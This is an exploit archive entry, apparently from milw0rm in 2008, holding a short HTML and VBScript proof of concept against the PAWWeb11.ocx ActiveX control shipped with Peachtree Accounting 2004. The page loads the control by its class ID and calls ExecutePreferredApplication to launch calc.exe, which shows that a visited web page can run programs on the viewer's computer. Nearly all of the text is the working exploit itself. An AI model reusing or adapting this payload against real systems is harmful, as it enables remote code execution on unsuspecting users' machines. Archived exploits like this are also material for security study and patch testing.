18 lines
No EOL
526 B
HTML
18 lines
No EOL
526 B
HTML
<!-- Jeremy Brown (0xjbrown41@gmail.com/jbrownsec.blogspot.com)
|
|
Peachtree Accounting Remote (SfS/SfI) Exploit
|
|
Tested on Peachtree Accounting 2004 / Windows XP / IE6
|
|
All Peachtree software that includes PAWWeb11.ocx are assumed vulnerable -->
|
|
|
|
<html><body>
|
|
|
|
<object id=target classid=clsid:2BCEAECE-6121-4E78-816C-8CD3121361B0></object>
|
|
<script language=vbscript>
|
|
|
|
|
|
arg1="C:/WINDOWS/system32/calc.exe"
|
|
target.ExecutePreferredApplication arg1
|
|
|
|
</script>
|
|
</body></html>
|
|
|
|
# milw0rm.com [2008-09-10] |